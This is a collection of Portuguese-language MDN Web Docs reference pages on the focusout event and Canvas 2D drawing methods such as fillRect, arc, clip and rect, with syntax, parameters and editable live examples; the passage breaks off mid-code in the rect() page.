{"title":"focusout - APIs da Web","text":"focusout\n========\n\nO evento `focusout` é acionado assim que o elemento perde o foco. A principal diferença entre esse evento e o evento `blur` (en-US), é que esse ultimo não gera \"borbulhas\".\n\nInformações Gerais\n------------------\n\nEspecificação\n\nDOM L3\n\nInterface\n`FocusEvent` (en-US)\nBorbulha\n\nSim\n\nCancelável\n\nNão\n\nAlvo\n\nElement\n\nAção Padrão\n\nNenhuma.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| UI Events # event-type-focusout |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nEventos Relcionados\n-------------------\n\n* `focus (en-US)`\n* `blur (en-US)`\n* `focusin (en-US)`\n* `focusout (en-US)`"}
{"title":"CanvasRenderingContext2D.fillRect() - APIs da Web","text":"CanvasRenderingContext2D.fillRect()\n===================================\n\nO método **`CanvasRenderingContext2D.fillRect()`** da API Canvas 2D desenha um retângulo preenchido na posição *(x, y)*, no qual o tamanho é determinado pela *width* (largura) e pela *height* (altura), e cujo o estilo é determinado pelo atributo `fillStyle`.\n\nSintaxe\n-------\n```\n\nvoid ctx.fillRect(x, y, width, height);\n```\n\n### Parâmetros\n\n`x`\n\nO valor da coordenada x para o ponto inicial do retângulo.\n\n`y`\n\nO valor da coordenada y para o ponto inicial do retângulo.\n\n`width`\n\nA largura do retângulo.\n\n`height`\n\nA altura do retângulo.\n\nExemplos\n--------\n\n### Usando o método `fillRect`\n\nIsto é só um simples trecho de código que usa o método `fillRect`.\n\n#### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n\n#### JavaScript\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nctx.fillStyle = \"green\";\nctx.fillRect(10, 10, 100, 100);\n\n// preenche todo o canvas\n// ctx.fillRect(0, 0, canvas.width, canvas.height);\n```\n\n\nEdite o código abaixo e veja as alterações instantâneas no canvas:\n```\n\n<canvas id=\"canvas\" width=\"400\" height=\"200\" class=\"playable-canvas\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\">\nctx.fillStyle = \"green\";\nctx.fillRect(10, 10, 100, 100);</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-fillrect-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A definição da interface `CanvasRenderingContext2D`\n* `CanvasRenderingContext2D.fillStyle`\n* `CanvasRenderingContext2D.clearRect()`\n* `CanvasRenderingContext2D.strokeRect()`"}
{"title":"CanvasRenderingContext2D.arc() - APIs da Web","text":"CanvasRenderingContext2D.arc()\n==============================\n\nO método **`CanvasRenderingContext2D.arc()`** da API Canvas 2D adiciona um arco circular para o atual sub-caminhoa (*sub-path*).\n\nSintaxe\n-------\n```\n\nvoid ctx.arc(x, y, raio, anguloInicial, anguloFinal [, antiHorario]);\n```\n\n\nO método `arc()` cria um arco circular centralizado em `(x, y)` com um `raio`. O caminho inicia-se no `anguloInicial`, e finaliza no `anguloFinal`, e é desenhado no sentido `antiHoario` (o padrão é no sentido horario).\n\n### Parâmetros\n\n`x`\n\nA coordenada horizontal do centro do arco.\n\n`y`\n\nA coordenada vertical do centro do arco.\n\n`raio`\n\nO raio do arco. Deve ser um valor positivo.\n\n`anguloInicial`\n\nO ângulo em radianos em que o arco começa medido a partir do eixo x positivo.\n\n`anguloFinal`\n\nO ângulo em que o arco finaliza medido a partir do eixo x positivo.\n\n`antiHorario` Optional\n\nUm `Boolean` opcional. Se `verdadeiro`, desenha o arco no sentido anti-horário entre os ângulos inicial e final. O padrão é `falso` (sentido horário).\n\nExemplos\n--------\n\n### Desenhando um círculo completo\n\nO exemplo desenha um círculo completo com o método `arc()`.\n\n#### HTML\n\n\n```html\n<canvas></canvas>\n```\n\n\n#### JavaScript\n\nO arco recebe 100 como uma coordenada x, e 75 como uma coordenada y e um raio de 50. para fazer um círculo completo, o arco inicia no ângulo 0 (0º) em radianos e finaliza em um ângulo de 2π radianos (360**°**).\n\n\n```js\nconst canvas = document.querySelector(\"canvas\");\nconst ctx = canvas.getContext(\"2d\");\n\nctx.beginPath();\nctx.arc(100, 75, 50, 0, 2 \\* Math.PI);\nctx.stroke();\n```\n\n\n#### Resultado\n\n### Diferentes formas demonstradas\n\nEste exemplo desenha diversas formas para mostrar o que é possível fazer com o método `arc()`.\n```\n\n<canvas width=\"150\" height=\"200\"></canvas>\n```\n\n\n\n```js\nconst canvas = document.querySelector(\"canvas\");\nconst ctx = canvas.getContext(\"2d\");\n\n// Draw shapes\nfor (let i = 0; i <= 3; i++) {\n  for (let j = 0; j <= 2; j++) {\n    ctx.beginPath();\n    let x = 25 + j \\* 50; // coordenada x\n    let y = 25 + i \\* 50; // coordenada y\n    let radius = 20; // raio\n    let startAngle = 0; // angulo inicial\n    let endAngle = Math.PI + (Math.PI \\* j) / 2; // angulo final\n    let anticlockwise = i % 2 == 1; // sentido anti-horário\n\n    ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);\n\n    if (i > 1) {\n      ctx.fill();\n    } else {\n      ctx.stroke();\n    }\n  }\n}\n```\n\n\n#### Resultado\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-arc-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja mais\n---------\n\n* A interface definindo este método: `CanvasRenderingContext2D`\n* Utilize `CanvasRenderingContext2D.ellipse()` (en-US) para desenhar um arco elíptico."}
{"title":"CanvasRenderingContext2D.closePath() - APIs da Web","text":"CanvasRenderingContext2D.closePath()\n====================================\n\nO método **`CanvasRenderingContext2D.closePath()`** da API Canvas 2D faz o ponto da caneta (*pen*) mover-se de volta para o início do sub-caminho (*sub-path*) atual. Tenta adicionar uma nova linha (mas não a desenha realmente) que conecta o ponto atual até o ponto inicial. Se a região (*shape*) já estiver fechada, ou tem somente um ponto na tela, esta função não funciona.\n\nSintaxe\n-------\n```\n\nvoid ctx.closePath();\n```\n\nExemplos\n--------\n\n### Usando o método `beginPath`\n\nIsto é só um simples trecho de código que usa o método `fillRect`.\n\n#### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n\n#### JavaScript\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\n\nctx.beginPath();\nctx.moveTo(20, 20);\nctx.lineTo(200, 20);\nctx.lineTo(120, 120);\nctx.closePath(); // desenha a última linha do triângulo\nctx.stroke();\n```\n\n\nEdite o código abaixo e veja as alterações instantâneas no canvas:\n```\n\n<canvas id=\"canvas\" width=\"400\" height=\"200\" class=\"playable-canvas\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\" style=\"height:140px;\">\nctx.beginPath();\nctx.moveTo(20,20);\nctx.lineTo(200,20);\nctx.lineTo(120,120);\nctx.closePath(); // draws last line of the triangle\nctx.stroke();</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-closepath-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A definição da interface `CanvasRenderingContext2D`\n* `CanvasRenderingContext2D.beginPath()`"}
{"title":"CanvasRenderingContext2D.fillStyle - APIs da Web","text":"CanvasRenderingContext2D.fillStyle\n==================================\n\nA propriedade **`CanvasRenderingContext2D.fillStyle`** da API do Canvas 2D especifica a cor ou o estilo para usar regiões internas. O valor inicial é `#000` (preto).\n\nVeja também o capítulo Aplicando estilos e cores no Canvas Tutorial.\n\nSintaxe\n-------\n```\n\nctx.fillStyle = color;\nctx.fillStyle = gradient;\nctx.fillStyle = pattern;\n```\n\n### Opções\n\n`color`\n\nUm `DOMString` passado como um valor de CSS `<color>`.\n\n`gradient`\n\nUm objeto `CanvasGradient` (en-US) (um gradiente linear ou radial).\n\n`pattern`\n\nUm objeto `CanvasPattern` (en-US) (uma imagem repetitiva).\n\nExamples\n--------\n\n### Usando a propriedade `fillStyle` para definir uma cor diferente\n\nIsto é apenas um trecho de código simples usando a propriedade `fillStyle` para definir uma cor diferente.\n\n#### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n\n#### JavaScript\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\n\nctx.fillStyle = \"blue\";\nctx.fillRect(10, 10, 100, 100);\n```\n\n\nEdite o código abaixo e veja as alterações atualizadas na tela:\n```\n\n<canvas id=\"canvas\" width=\"400\" height=\"200\" class=\"playable-canvas\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\">\nctx.fillStyle = 'blue';\nctx.fillRect(10, 10, 100, 100);</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\n### Um exemplo de `fillStyle` com laços `for`\n\nNeste exemplo, nós usamos dois laços `for` para desenhar uma grade de retângulos, cada um com uma cor diferente. A imagem resultante deve parecer algo como uma captura de tela. Não há nada de espetacular acontecendo aqui. Usamos as duas variáveis `i` é `j` para gerar uma cor RGB exclusiva para cada quadrado, e apenas modificamos os valores vermelho e verde. O canal azul tem um valor fixo. Ao modificar os canais, você pode gerar todos os tipos de paletas. Ao aumentar os valores, você pode conseguir algo que pareça com as paletas de cores que o Photoshop usa.\n```\n\n<canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n```\n\n\n\n```js\nvar ctx = document.getElementById(\"canvas\").getContext(\"2d\");\nfor (var i = 0; i < 6; i++) {\n  for (var j = 0; j < 6; j++) {\n    ctx.fillStyle =\n      \"rgb(\" +\n      Math.floor(255 - 42.5 \\* i) +\n      \",\" +\n      Math.floor(255 - 42.5 \\* j) +\n      \",0)\";\n    ctx.fillRect(j \\* 25, i \\* 25, 25, 25);\n  }\n}\n```\n\n\nO resultado fica assim:\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-fillstyle-dev |\n\nCompatibibidade com o Navegador\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface que o define, `CanvasRenderingContext2D`\n* `CanvasGradient` (en-US)\n* `CanvasPattern` (en-US)"}
{"title":"CanvasRenderingContext2D.arcTo() - APIs da Web","text":"CanvasRenderingContext2D.arcTo()\n================================\n\nO método **`CanvasRenderingContext2D.arcTo()`** da API 2D do Canvas adiciona um arco ao caminho quando fornecemos seus pontos de controle e raio.\n\nO arco será parte de um círculo, nunca de uma elipse. Frequentemente é usado para fazer cantos arredoondados.\n\nPode-se imaginar o arco como dois segmentos de reta, partindo de um ponto inicial (ponto mais recente definido no caminho) até o primeiro ponto de controle e, em seguida, do primeiro ponto de controle até o segundo ponto de controle. Esses dois segmentos de reta formam um angulo, com o primeiro ponto de controle sendo a curva. Usando arcTo, o ângulo será formado de acordo com o raio fornecido.\n\nO arco é tangencial ao dois segmentos de reta, e por vezes, pode produzir resultados inesperados se, por exemplo, o raio fornecido for maior que a distância entre o ponto inicial e o primeiro ponto de controle.\n\nSe o raio fornecido não atingir o ponto inicial (ponto mais recente definido no caminho), o ponto inicial é conectado ao arco por um segmento de reta.\n\nSintaxe\n-------\n```\n\nvoid ctx.arcTo(x1, y1, x2, y2, radius);\n```\n\n### Parâmetros\n\n`x1`\n\ncoordenada do eixo x para o primeiro ponto de controle.\n\n`y1`\n\ncoordenada do eixo y para o primeiro ponto de controle.\n\n`x2`\n\ncoordenada do eixo x para o segundo ponto de controle.\n\n`y2`\n\ncoordenada do eixo y para o segundo ponto de controle.\n\n`radius`\n\nO raio do arco.\n\nExemplos\n--------\n\n### Usando o método `arcTo`\n\nEsse é um trecho simples de código que desenha um arco. O ponto de partida é azul e os pontos de controls são vermelhos.\n\n#### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n\n#### JavaScript\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\n\nctx.beginPath();\nctx.moveTo(150, 20);\nctx.arcTo(150, 100, 50, 20, 30);\nctx.lineTo(50, 20);\nctx.stroke();\n\nctx.fillStyle = \"blue\";\n// starting point\nctx.fillRect(150, 20, 10, 10);\n\nctx.fillStyle = \"red\";\n// control point one\nctx.fillRect(150, 100, 10, 10);\n// control point two\nctx.fillRect(50, 20, 10, 10);\n```\n\n### Treinando os parâmetros do `arcTo`\n\nAltere o código abaixo e veja suas alterações atualizadas na tela:\n```\n\n<canvas id=\"canvas\" class=\"playable-canvas\" height=\"200\" width=\"400\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\">\nctx.beginPath();\nctx.moveTo(150, 20);\nctx.arcTo(150,100,50,100,20);\nctx.stroke();</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\nEspeficicações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-arcto-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* The interface defining it, `CanvasRenderingContext2D`"}
{"title":"CanvasRenderingContext2D.fill() - APIs da Web","text":"CanvasRenderingContext2D.fill()\n===============================\n\nO método **`CanvasRenderingContext2D.fill()`** da API Canvas 2D preenche um dado *path* ou o *path* atual com o estilo atual de preenchimento usando uma regra de controle diferente de zero, ou uma regra par-ímpar.\n\nSyntax\n------\n```\n\nvoid ctx.fill();\nvoid ctx.fill(fillRule);\nvoid ctx.fill(path, fillRule);\n```\n\n### Parâmetros\n\n`fillRule`\n\n O algoritmo que determina se um ponto está do lado de dentro do path ou do lado fora do path.\n Possíveis valores:\n\n\n`nonzero`\n\nA regra de controle não-zero, que é a regra padrão.\n\n`evenodd`\n\nA regra de controle par-ímpar.\n\n\n`path`\n\nUm *path* de `Path2D` para preenchimento.\n\nExemplos\n--------\n\n### Usando o método `fill`\n\nIsto é só um simples trecho de código que usa o métod `fill` para contornar um *path*.\n\n#### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n\n#### JavaScript\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nctx.rect(10, 10, 100, 100);\nctx.fill();\n```\n\n\nEdite o código abaixo e veja as alterações instantâneas no canvas:\n```\n\n<canvas id=\"canvas\" width=\"400\" height=\"200\" class=\"playable-canvas\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\">\nctx.rect(10, 10, 100, 100);\nctx.fill();</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-fill-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A definição da interface `CanvasRenderingContext2D`."}
{"title":"CanvasRenderingContext2D.quadraticCurveTo() - APIs da Web","text":"CanvasRenderingContext2D.quadraticCurveTo()\n===========================================\n\no método **`CanvasRenderingContext2D.quadraticCurveTo()`** da API Canvas 2D adiciona uma Curva de Bézier quadrática ao caminho. São exigidos dois pontos. O primeiro ponto é um ponto de controle e o segundo é o ponto final. The starting point is the last point in the current path, which can be changed using `moveTo()` before creating the quadratic Bézier curve.\n\nSintaxe\n-------\n```\n\nvoid ctx.quadraticCurveTo(cpx, cpy, x, y);\n```\n\n### Parâmetros\n\n`cpx`\n\nO eixo X da coordenada para o ponto de controle.\n\n`cpy`\n\nO eixo Y da coordenada para o ponto de controle.\n\n`x`\n\nO eixo X da coordenada para o ponto final.\n\n`y`\n\nO eixo Y da coordenada para o ponto final.\n\nExemplos\n--------\n\n### Usando o método `quadraticCurveTo`\n\nThis is just a simple code snippet drawing a quadratic bezier curve. The control point is red and the start and end points are blue.\n\n#### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n\n#### JavaScript\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\n\nctx.beginPath();\nctx.moveTo(50, 20);\nctx.quadraticCurveTo(230, 30, 50, 100);\nctx.stroke();\n\nctx.fillStyle = \"blue\";\n// start point\nctx.fillRect(50, 20, 10, 10);\n// end point\nctx.fillRect(50, 100, 10, 10);\n\nctx.fillStyle = \"red\";\n// control point\nctx.fillRect(230, 30, 10, 10);\n```\n\n### Trying the `quadraticCurveTo` parameters\n\nEdit the code below and see your changes update live in the canvas:\n```\n\n<canvas id=\"canvas\" width=\"400\" height=\"200\" class=\"playable-canvas\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\">\nctx.beginPath();\nctx.moveTo(50,20);\nctx.quadraticCurveTo(230, 30, 50, 100);\nctx.stroke();</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-quadraticcurveto-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* The interface defining it, `CanvasRenderingContext2D`\n* WikiPedia article on Bézier curves."}
{"title":"CanvasRenderingContext2D.clip() - APIs da Web","text":"CanvasRenderingContext2D.clip()\n===============================\n\nO método **`CanvasRenderingContext2D.clip()`** da API do Canvas 2D transforma o caminho atualmente construido em um caminho atual de recorte.\n\nSintaxe\n-------\n```\n\nvoid ctx.clip();\nvoid ctx.clip(fillRule);\nvoid ctx.clip(path, fillRule);\n```\n\n### Parâmetros\n\n![](/pt-BR/docs/Web/API/CanvasRenderingContext2D/clip/canvas_clipping_path.png)\n\n`fillRule`\n\n O algoritmo pelo qual determina se um ponto esta dentro de um caminho ou fora de um caminho.\n Valores Possíveis:\n\n\n`nonzero`\n\nA regra contorno diferente de zero, que é a regra padrão.\n\n`evenodd`\n\nA regra do contorno par ou ímpar.\n\n\n`path`\n\nUm `Path2D` caminho para recorte.\n\nExemplos\n--------\n\n### Usando do método de corte\n\nIsso é só um simples fragmento de código que usa o método de corte para criar uma região de recorte.\n\n#### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n\n#### JavaScript\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\n\n// Cria uma região de recorte\nctx.arc(100, 100, 75, 0, Math.PI \\* 2, false);\nctx.clip();\n\nctx.fillRect(0, 0, 100, 100);\n```\n\n\nEdite o código abaixo e veja suas mudanças atualizadas ao vivo no canvas:\n```\n\n<canvas id=\"canvas\" width=\"400\" height=\"200\" class=\"playable-canvas\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\">\nctx.arc(100, 100, 75, 0, Math.PI*2, false);\nctx.clip();\nctx.fillRect(0, 0, 100,100);</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\n\n**Nota:** Tenha consciência de que o `clip()` só funciona com formas adicionadas ao caminho; ele não funciona com uma forma primitiva, como retângulos criados com `fillRect()`. Nesse caso você teria que usar `rect()` para desenhar um caminho de forma retângular para ser recortado.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-clip-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* A interface como defini-la, `CanvasRenderingContext2D`."}
{"title":"CanvasRenderingContext2D.strokeRect() - APIs da Web","text":"CanvasRenderingContext2D.strokeRect()\n=====================================\n\nO método **`CanvasRenderingContext2D.strokeRect()`** da API Canvas 2D desenha um retângulo na posição *(x, y)*, que possui uma largura (*width*) *w* e uma altura (*height*) *h*, e não tem nenhum preenchimento (estilo *stroke*).\n\nSintaxe\n-------\n```\n\nvoid ctx.strokeRect(x, y, width, height);\n```\n\n### Parâmetros\n\n`x`\n\nO valor da coordenada x para o ponto inicial do retângulo.\n\n`y`\n\nO valor da coordenada y para o ponto inicial do retângulo.\n\n`width`\n\nA largura do retângulo.\n\n`height`\n\nA altura do retângulo.\n\nExemplos\n--------\n\n### Usando o método `strokeRect`\n\nIsto é só um simples trecho de código que usa o método `strokeRect`.\n\n#### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n\n#### JavaScript\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\n\nctx.strokeStyle = \"green\";\nctx.strokeRect(10, 10, 100, 100);\n```\n\n\nEdite o código abaixo e veja as alterações instantâneas no canvas:\n```\n\n<canvas id=\"canvas\" width=\"400\" height=\"200\" class=\"playable-canvas\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\">\nctx.strokeStyle = \"green\";\nctx.strokeRect(10, 10, 100, 100);</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-strokerect-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A definição da interface `CanvasRenderingContext2D`\n* `CanvasRenderingContext2D.strokeStyle` (en-US)\n* `CanvasRenderingContext2D.clearRect()`\n* `CanvasRenderingContext2D.fillRect()`"}
{"title":"CanvasRenderingContext2D.rect() - APIs da Web","text":"CanvasRenderingContext2D.rect()\n===============================\n\nO método **`CanvasRenderingContext2D.rect()`** da Canvas 2D API cria um *path* (trajeto) para um retângulo na posição *(x, y)*, cujo tamanho é determinado pelo *width* (largura) e *height* (altura). Esses quatro pontos estão conectados por linhas retas e o *sub-path* (sub-trajeto) é marcado como fechado, para que você possa `fill (preencher)` ou `stroke (contornar)` o retângulo.\n\nSintaxe\n-------\n```\n\nvoid ctx.rect(x, y, width, height);\n```\n\n### Parameters\n\n`x`\n\nO valor da coordenada x que indica ponto de início (superior esquerdo) do retângulo.\n\n`y`\n\nO valor da coordenada y que indica ponto de início (superior esquerdo) do retângulo.\n\n`width`\n\nA largura do retângulo.\n\n`height`\n\nA altura do retângulo.\n\nExemplos\n--------\n\n### Usando o método `rect`\n\nIsto é somente um simples fragmentode código que usa o método `rect` para criar um *path*. Para verdadeiramente desenhar um *path* no canvas, você pode usar o método `fill()` ou o `stroke()`. Veja também os métodos `fillRect()` e `strokeRect()`, que podem fazer isto em um único passo.\n\n#### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n\n#### JavaScript\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nctx.rect(10, 10, 100, 100);\nctx.fill();\n```\n\n\nEdite o código abaixo e veja as alterações instantâneas no canvas:\n```\n\n<canvas id=\"canvas\" width=\"400\" height=\"200\" class=\"playable-canvas\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\">\nctx.rect(10, 10, 100, 100);\nctx.fill();</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, 